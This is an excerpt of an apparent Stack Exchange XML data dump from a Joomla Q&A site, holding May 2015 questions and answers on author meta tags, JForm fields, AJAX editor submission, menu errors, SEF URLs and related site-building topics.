  <row Id="10001" PostTypeId="1" AcceptedAnswerId="10003" CreationDate="2015-05-19T09:24:08.660" Score="5" ViewCount="7194" Body="&lt;p&gt;I am trying to change the author meta tag. Now, when a user goes to share something to facebook, then the author meta tag is displayed his name. I want to change it to his username.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="3375" LastEditorUserId="126" LastEditDate="2015-05-19T11:01:05.743" LastActivityDate="2016-03-31T17:14:21.510" Title="How to change or hide the author meta tag? Facebook still shows the author meta when sharing" Tags="|joomla-3.x|facebook|global-configuration|metadata|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10002" PostTypeId="2" ParentId="9901" CreationDate="2015-05-19T09:31:09.537" Score="1" Body="&lt;p&gt;I figured out that Shopper Groups are completely linked to a logged in user and cannot be manipulated in your event stack (even with a System plugin). You need to be logged in as a user and that user needs to be assigned a Shopper Group inside the Virtuemart component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the end, I created a user for each of the Shopper Groups I wanted to use and then using a plugin, I manually logged in my guest as that user and got the correct Shopper Group prices to show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A terrible work around, but I'm still not convinced there's any other way.&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2015-05-19T09:31:09.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10003" PostTypeId="2" ParentId="10001" CreationDate="2015-05-19T09:36:45.827" Score="5" Body="&lt;p&gt;Username is used for login - it's the half info required for someone to login into the website. Therefore, it is not a wise idea to reveal such sensitive data to the public.&lt;/p&gt;&#xA;&lt;p&gt;There is always the author alias field that can be used on a per article basis, to override the author name. See screenshot below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qwoDa.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you could just change the name of the author-user to a nickname desired for signing the articles, but anyhow avoid publishing the login username.&lt;/p&gt;&#xA;&lt;p&gt;As a last note, keep in mind that you can totally hide the meta-author tag, from the global configuration settings.&lt;/p&gt;&#xA;&lt;h3&gt;Update for the comment:&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I need it for the use of facebook share, because it is generating the&#xA;name of the author and i do not want this. and it is difficult for&#xA;every article to change the author name to a nickname. So in global&#xA;configuration i disable the meta-author tag but the name is still&#xA;displayed in the preview facebook share.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;Answer:&lt;/h3&gt;&#xA;&lt;p&gt;As for why FB still publishes the author, after changing the Global Configuration settings, it can be cached data.&#xA;Apart of &amp;quot;local&amp;quot; Joomla cache, FB scrapper also caches the content of a page, and it won't show any changes in the meta in less than 24 hours.&lt;/p&gt;&#xA;&lt;p&gt;You can review how FB sees your page at the FB scrapper debug tool:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.facebook.com/tools/debug/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developers.facebook.com/tools/debug/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also this Q/A might be helpful regarding Facebook: &lt;a href=&quot;https://joomla.stackexchange.com/questions/5467/facebook-share-remove-the-joomla-content-management-system-lets-you-create&quot;&gt;Facebook Share - Remove: &amp;quot;The Joomla! content management system lets you create webpages...&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But first you want to make sure that you have actually removed the author metatag from your pages.&#xA;Although disabled from the global configuration, a 3rd party SEF extension, or an extension to generate the FB og:meta, might still keep injecting the author-meta in the head of the html of your page.&lt;/p&gt;&#xA;&lt;p&gt;Checking the head of the html page in the source code of your page with your browser's inspector will help you see, if the following metas have been removed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&amp;quot;author&amp;quot; content=&amp;quot;authorname&amp;quot;&amp;gt;&#xA;&amp;lt;meta property=&amp;quot;article:author&amp;quot; content=&amp;quot;authorname&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-31T17:14:21.510" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="10005" PostTypeId="1" AcceptedAnswerId="10028" CreationDate="2015-05-19T10:56:19.980" Score="0" ViewCount="835" Body="&lt;p&gt;I'm developing my custom component for storing some records in the DB. In my &lt;strong&gt;#__records&lt;/strong&gt; DB table there is the column &lt;strong&gt;attribs&lt;/strong&gt; where I want to store some data in json-format like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;field1&quot;:&quot;value1&quot;,&quot;field2&quot;:&quot;value2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to add the input for the &lt;strong&gt;field1&lt;/strong&gt; in my &lt;strong&gt;admin/models/forms/record.xml&lt;/strong&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;attribs&quot;&amp;gt;&#xA;  &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;     &amp;lt;field name=&quot;field1&quot; type=&quot;text&quot; /&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I can render it in my &lt;strong&gt;admin/views/record/tmpl/default.php&lt;/strong&gt; via foreach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach($this-&amp;gt;form-&amp;gt;getFieldset() as $field): ?&amp;gt;&#xA;    &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although at that the &lt;strong&gt;field1&lt;/strong&gt; hasn't its value that is already stored in the DB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There are two questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; How can I render the input in &lt;strong&gt;views/record/tmpl/default.php&lt;/strong&gt; not via foreach but like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;getInput('field1'); // it doesn't display the input at all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and with its stored value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; How can I save new value of the &lt;strong&gt;field1&lt;/strong&gt; i.e. what code should I add to the &lt;strong&gt;save($data)&lt;/strong&gt; function in my &lt;strong&gt;admin/models/record.php&lt;/strong&gt; (or to JTable class)? I need something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;   if(isset($data['attribs']) &amp;amp;&amp;amp; isset($data['attribs']['field1']))&#xA;   {&#xA;      // what code should be here ???&#xA;   }&#xA;   return parent::save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-05-19T19:18:51.570" LastActivityDate="2015-05-20T17:44:16.110" Title="JSON-DATA: Display input in the com_ back-end and save data in the DB" Tags="|component|development|joomla-api|jform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10006" PostTypeId="1" AcceptedAnswerId="10009" CreationDate="2015-05-19T12:04:29.423" Score="2" ViewCount="1147" Body="&lt;p&gt;I'm struggling to post data from &quot;editor&quot; form field. When I do it without ajax it shows the value while, with AJAX it just make it blank.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [subject] =&amp;gt; asdasdasdasd [description] =&amp;gt; [priority] =&amp;gt; 3 [cc] =&amp;gt; [bcc] =&amp;gt; [id] =&amp;gt; [created_by] =&amp;gt; 688 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the &lt;code&gt;[description]&lt;/code&gt; field. I filled the data with test but still it is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like my jquery is serializing the data and not able to find a value from editor field. When I try to print &lt;code&gt;$data&lt;/code&gt; it outputs like following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see my code for more information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function ($) {&#xA;    $('#request-form #submit').click(function (e) {&#xA;        $('#request-form').ajaxSubmit({&#xA;            url: 'index.php?option=com_helpdesk&amp;amp;task=request.save',&#xA;            type: 'POST',&#xA;            beforeSerialize: function($form, options) {&#xA;                // I was just trying to see what it prints. It is just showing the serialize form values&#xA;                console.log($form);&#xA;            },&#xA;            success: function (result) {&#xA;                var response = $.parseJSON(result);&#xA;                if (!response['success']) {&#xA;                    bootbox.alert(response['message']);&#xA;                }&#xA;                else {&#xA;                    bootbox.dialog({&#xA;                        title: &quot;Success&quot;,&#xA;                        message: response['message']&#xA;                    });&#xA;                }&#xA;            }&#xA;        });&#xA;        e.preventDefault();&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($key = null, $urlVar = null)&#xA;{&#xA;        // Check for request forgeries.&#xA;        JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));&#xA;&#xA;        $model    = $this-&amp;gt;getModel();&#xA;        $app      = JFactory::getApplication();&#xA;        $table    = $model-&amp;gt;getTable();&#xA;        $key      = $table-&amp;gt;getKeyName();&#xA;        $data     = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;        unset($data['userfile']);&#xA;        $recordId = $data[$key];&#xA;&#xA;        if (!$this-&amp;gt;allowSave($data, $key))&#xA;        {&#xA;            echo new JResponseJson(NULL, JText::_('COM_HELPDESK_ERROR_ACTION_NOT_PERMITTED'), TRUE);&#xA;            $app-&amp;gt;close();&#xA;        }&#xA;&#xA;        $form = $model-&amp;gt;getForm($data, false);&#xA;&#xA;        if (!$form)&#xA;        {&#xA;            echo new JResponseJson(NULL, JText::_('COM_HELPDESK_GENERAL_ERROR'), true);&#xA;            $app-&amp;gt;close();&#xA;        }&#xA;&#xA;        // Validate and Filter data by passing it to Model&#xA;        $data = $model-&amp;gt;validate($form, $data);&#xA;&#xA;        if (!$data)&#xA;        {&#xA;            echo new JResponseJson(NULL, JText::_('COM_HELPDESK_INVALID_DATA_ERROR'), true);&#xA;            $app-&amp;gt;close();&#xA;        }&#xA;&#xA;        if (!$model-&amp;gt;save($data))&#xA;        {&#xA;            echo new JResponseJson($response, JText::_('COM_HELPDESK_SAVE_ERROR'), true);&#xA;            $app-&amp;gt;close();&#xA;        }&#xA;&#xA;        $isNew = $model-&amp;gt;getState('request.new');&#xA;&#xA;        if ($isNew)&#xA;        {&#xA;            $recordId = (int) $model-&amp;gt;getState('request.id');&#xA;            $message  = JText::sprintf('COM_HELPDESK_REQUEST_NEW_SAVE_SUCCESS', $recordId);&#xA;        }&#xA;        else&#xA;        {&#xA;            $message = JText::sprintf('COM_HELPDESK_REQUEST_EDIT_SAVE_SUCCESS', $recordId);&#xA;        }&#xA;&#xA;        $redirect = JRoute::_('index.php?option=' . $this-&amp;gt;option . '&amp;amp;view=' . $this-&amp;gt;view_list . $this-&amp;gt;getRedirectToItemAppend(), false);&#xA;        echo new JResponseJson($redirect, $message);&#xA;        $app-&amp;gt;close();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Form XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;            type=&quot;editor&quot;&#xA;            label=&quot;COM_HELPDESK_REQUEST_DESCRIPTION_LABEL&quot;&#xA;            name=&quot;description&quot;&#xA;            class=&quot;form-control&quot;&#xA;            height=&quot;225px&quot;&#xA;        /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on Save button my textarea gets filled with editor but for that, I was forced to use Non-Ajax method. I want it to be done with AJAX way.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="2233" LastEditDate="2015-05-19T14:18:03.907" LastActivityDate="2015-05-19T15:36:55.000" Title="AJAX Custom Component - Post data from Editor field" Tags="|joomla-3.x|jform|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10007" PostTypeId="1" CreationDate="2015-05-19T13:26:20.093" Score="5" ViewCount="1999" Body="&lt;p&gt;We have an application which collaboratively collects data from authors. We want to upload curated content to different joomla powered sites. The current application is built on Ruby on Rails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Joomla provide a RESTful API out-of-the-box or does it need an extension to be installed on the sites where we want to upload content as articles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across an article how to publish content &lt;a href=&quot;https://docs.joomla.org/Creating_content_using_JTableContent&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; but is written in PHP. How can I access the PHP api using HTTP?&lt;/p&gt;&#xA;" OwnerUserId="5267" LastEditorUserId="115" LastEditDate="2015-05-20T06:01:09.960" LastActivityDate="2015-09-22T03:32:09.050" Title="RESTful API to manage article" Tags="|joomla-api|restful-api|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10008" PostTypeId="1" CreationDate="2015-05-19T13:44:52.727" Score="0" ViewCount="393" Body="&lt;p&gt;Hi is it possible to add images inline to notification emails that get sent from joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to just add a &amp;lt; img src=&quot;URL-TO-IMAGE&quot; &gt; to the email message strings in the language (.ini) files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the email is sent this only shows up as a link to the image and not shown inline.&lt;/p&gt;&#xA;" OwnerUserId="2005" LastActivityDate="2015-05-19T13:44:52.727" Title="Display image inside a email message" Tags="|joomla-3.x|emails|images|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10009" PostTypeId="2" ParentId="10006" CreationDate="2015-05-19T15:36:55.000" Score="1" Body="&lt;p&gt;I managed to do it with following. I know, this is not the best way to implement it. I will wait for expert reviews from JSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;beforeSerialize&lt;/code&gt; property of &lt;code&gt;ajaxSubmit&lt;/code&gt; JS and added following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;beforeSerialize: function() {&#xA;                $('.wf_editor_toggle').click();&#xA;                $('.wf_editor_toggle').click();&#xA;            },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explaination:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JCE Editor dispatch it's content to parent &lt;strong&gt;textarea&lt;/strong&gt; only when the &lt;strong&gt;Save&lt;/strong&gt; or &lt;strong&gt;Toggle Editor&lt;/strong&gt; button is clicked. As I'm Ajaxifying my component, my page doesn't get refreshed hence &lt;strong&gt;&quot;Save&quot;&lt;/strong&gt; prevents it's default behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, I enabled &lt;strong&gt;&quot;Toggle Editor&quot;&lt;/strong&gt; button from JCE component and added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.wf_editor_toggle').click();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first time it will toggle editor with Normal textarea and in the second statement it toggles back to original editor. It is needed because JCE save toggle editor state (may be through cookies)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any better solution would be appreciable.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-19T15:36:55.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10010" PostTypeId="2" ParentId="9998" CreationDate="2015-05-19T18:58:14.320" Score="1" Body="&lt;p&gt;Solved the problem. In my xml file I was adding &lt;code&gt;index.html&lt;/code&gt; in the &lt;code&gt;&amp;lt;filename&amp;gt;&lt;/code&gt; tag, however there was no &lt;code&gt;index.html&lt;/code&gt; file in &lt;code&gt;media/&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, everything listed in the xml file must exist in the directory as well.&lt;/p&gt;&#xA;" OwnerUserId="1744" LastActivityDate="2015-05-19T18:58:14.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10011" PostTypeId="1" AcceptedAnswerId="10017" CreationDate="2015-05-20T03:56:11.343" Score="0" ViewCount="1277" Body="&lt;p&gt;I am using joomla's contact us form with a custom template I built.&lt;br&gt;&#xA;When I submit the form, I am not getting any form validation error messages.&lt;br&gt;&#xA;When I change the template to Beez3, the validation messages are showing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me from this issue.  &lt;/p&gt;&#xA;" OwnerUserId="5198" LastEditorUserId="126" LastEditDate="2015-05-20T07:45:59.947" LastActivityDate="2015-05-20T07:45:59.947" Title="Joomla system messages not showing in custom template - Contact Form validation" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10012" PostTypeId="1" AcceptedAnswerId="10014" CreationDate="2015-05-20T04:27:45.293" Score="3" ViewCount="1167" Body="&lt;p&gt;To identify the pages am using the following code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($menu-&amp;gt;getActive()-&amp;gt;id == 203){} // some actions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this line returns error in search page. Search url goes like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/joomla/component/search/?searchword=destination&amp;amp;searchphrase=all&amp;amp;Itemid=103&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when the page loads the following error occurs &quot;Trying to get property of non-object&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5198" LastEditorUserId="126" LastEditDate="2015-05-20T06:38:12.607" LastActivityDate="2015-05-20T07:13:06.897" Title="Menu getActive() returns &quot;Trying to get property of non-object&quot; in Search Component" Tags="|joomla-3.x|php|templates|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10013" PostTypeId="1" CreationDate="2015-05-20T05:44:59.547" Score="0" ViewCount="48" Body="&lt;p&gt;I am in the process of developing a website (online shopping portal) for readymade garments shop. My exposure to Joomla (which is essentially CMS) and believe that there are shopping applications like VirtueMart and HikaShop gives me an option to go for Joomla. On the flip side, I ask myself if I just want to develop a shopping application, why Joomla and not applications like ZenCart? So, my query is developing a shopping application using Joomla gives any advantage which makes it worth to go? &lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2015-05-20T13:53:01.740" Title="For a readmade garments online shopping portal, Joomla or shopping application?" Tags="|extensions|" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-21T23:46:03.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="10014" PostTypeId="2" ParentId="10012" CreationDate="2015-05-20T06:33:34.720" Score="5" Body="&lt;p&gt;That's because the $menu-&gt;getActive() is not returning an object, and here is because there is no menu item used for the search page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get rid of the php notice you are seeing, you could first check if the $menu-&gt;getActive() is an object and if yes then get its id property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_object( $menu-&amp;gt;getActive() ) ) { &#xA; //... &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-20T06:33:34.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10015" PostTypeId="2" ParentId="10012" CreationDate="2015-05-20T07:13:06.897" Score="2" Body="&lt;p&gt;I think you could use &lt;code&gt;JInput&lt;/code&gt; to get the &lt;code&gt;ItemId&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$ItemId = $jinput-&amp;gt;get('Itemid', '', 'INT');&#xA;&#xA;if ($ItemId == 203)&#xA;{&#xA;    // Something here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-20T07:13:06.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10017" PostTypeId="2" ParentId="10011" CreationDate="2015-05-20T07:44:37.333" Score="1" Body="&lt;p&gt;As we found out through the comments conversation, it proved that you haven't included in your template, the &lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&lt;/code&gt;, which is carrying and return any system messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, on top of the &lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&lt;/code&gt;, add the &lt;code&gt;&amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&lt;/code&gt;, in order to have Joomla outputting the system messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This refers to all kind of messages and is not specific to your form.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-20T07:44:37.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10018" PostTypeId="1" AcceptedAnswerId="10019" CreationDate="2015-05-20T09:08:19.343" Score="2" ViewCount="420" Body="&lt;p&gt;My search component is pointing to the wrong URLs. When the user clicks on them, they're redirected to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the search returns:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cursos.portal-gestao.com/9-excel/introducao/158-lista-de-formulas-ingles-portugues&quot; rel=&quot;nofollow&quot;&gt;http://cursos.portal-gestao.com/9-excel/introducao/158-lista-de-formulas-ingles-portugues&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the correct URL is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cursos.portal-gestao.com/indice-do-curso-excel/9-excel/introducao/158-lista-de-formulas-ingles-portugues&quot; rel=&quot;nofollow&quot;&gt;http://cursos.portal-gestao.com/indice-do-curso-excel/9-excel/introducao/158-lista-de-formulas-ingles-portugues&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just an example, there are other variations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find a way to write the URLs with the article ID on them, something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cursos.portal-gestao.com/?Itemid=158-lista-de-formulas-ingles-portugues&quot; rel=&quot;nofollow&quot;&gt;http://cursos.portal-gestao.com/?Itemid=158-lista-de-formulas-ingles-portugues&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then using .htaccess to redirect all pages to the same structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this URL isn't returning the correct page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to fix the search component or use the process above to solve the problem?&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2015-05-20T10:05:35.097" Title="Search component pointing to wrong SEF URLs in Joomla 3" Tags="|joomla-3.x|sef|.htaccess-configuration|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10019" PostTypeId="2" ParentId="10018" CreationDate="2015-05-20T10:05:35.097" Score="3" Body="&lt;p&gt;The best practice to avoid any unpredictable urls is to create &quot;Articles - Category List&quot; or &quot;Articles - Category Blog&quot; menu items for all your top level article categories. This way all your articles will inherit the url structure from these menu aliases.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Menus-&gt;Add New Menu&lt;/li&gt;&#xA;&lt;li&gt;Create a Menus say &quot;Articles&quot;&lt;/li&gt;&#xA;&lt;li&gt;Go to that Menus &lt;/li&gt;&#xA;&lt;li&gt;Add the menu item for each of the top level category&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-20T10:05:35.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10020" PostTypeId="2" ParentId="5489" CreationDate="2015-05-20T10:30:29.563" Score="0" Body="&lt;p&gt;You can edit the Profile Plugin. Edit the onContentPrepareForm() change the profile case to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Case profile in site         &#xA;        elseif ($name == 'com_users.profile')&#xA;        {&#xA;            // Toggle whether the field is required.&#xA;            if ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) &amp;gt; 0)&#xA;            {&#xA;                $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field) == 2) ? 'required' : '', 'profile');&#xA;&#xA;                // Remove credits field from the front-end user profile edit page&#xA;                if($field == 'usercredits') {&#xA;                    $form-&amp;gt;removeField('usercredits', 'profile');&#xA;                }&#xA;            }&#xA;            else&#xA;            {&#xA;            // Case profile in site         &#xA;        elseif ($name == 'com_users.profile')&#xA;        {&#xA;            // Toggle whether the field is required.&#xA;            if ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field, 1) &amp;gt; 0)&#xA;            {&#xA;                $form-&amp;gt;setFieldAttribute($field, 'required', ($this-&amp;gt;params-&amp;gt;get('profile-require_' . $field) == 2) ? 'required' : '', 'profile');&#xA;&#xA;                // Remove credits field from the front-end user profile edit page&#xA;                if($field == 'usercredits') {&#xA;                    $form-&amp;gt;removeField('usercredits', 'profile');&#xA;                }&#xA;            }&#xA;            else&#xA;            {&#xA;                $form-&amp;gt;removeField($field, 'profile');                  &#xA;                // Remove credits field from the front-end user profile edit page&#xA;                if($field == 'usercredits') {&#xA;                    $form-&amp;gt;removeField('usercredits', 'profile');&#xA;                }&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4020" LastEditorUserId="4020" LastEditDate="2015-05-20T12:30:59.703" LastActivityDate="2015-05-20T12:30:59.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10022" PostTypeId="1" CreationDate="2015-05-20T13:44:47.480" Score="-1" ViewCount="316" Body="&lt;p&gt;I just installed fabrik cck, which is good by the way, I then packaged my forms created in the localhost so as to reuse them in the live site. When I try to install, I get a blank page on this page&lt;code&gt;com_installer&amp;amp;view=install&lt;/code&gt;. If you've ever encountered this, please help. &lt;/p&gt;&#xA;" OwnerUserId="3854" LastEditorUserId="12352" LastEditDate="2021-04-24T20:51:06.357" LastActivityDate="2021-04-24T20:51:06.357" Title="Why are Fabrik packages not installing in joomla after packaging?" Tags="|php|component|extensions|fabrik|" AnswerCount="1" CommentCount="3" ClosedDate="2015-05-22T09:45:47.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="10023" PostTypeId="2" ParentId="10013" CreationDate="2015-05-20T13:53:01.740" Score="2" Body="&lt;p&gt;The simplest answer is &lt;strong&gt;Cost of Opportunity&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just install Joomla, any E-Commerce extension or template, learn how to customize, override, translate labels and launch your site in a short period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, developing a shopping application can be as rewarding as your available time to develop it. It is not a piece of cake, you have to understand Joomla development and E-commerce features in deep. E.g Payment gateways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually solve these dilemas asking to you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you want to sell readymade garments? &lt;/li&gt;&#xA;&lt;li&gt;Do you want to sell consulting services for an e-commerce site? &lt;/li&gt;&#xA;&lt;li&gt;Do you want to sell an E-commerce extension for Joomla?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can only answer &lt;strong&gt;Yes&lt;/strong&gt; to one of them. ;-)&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-05-20T13:53:01.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
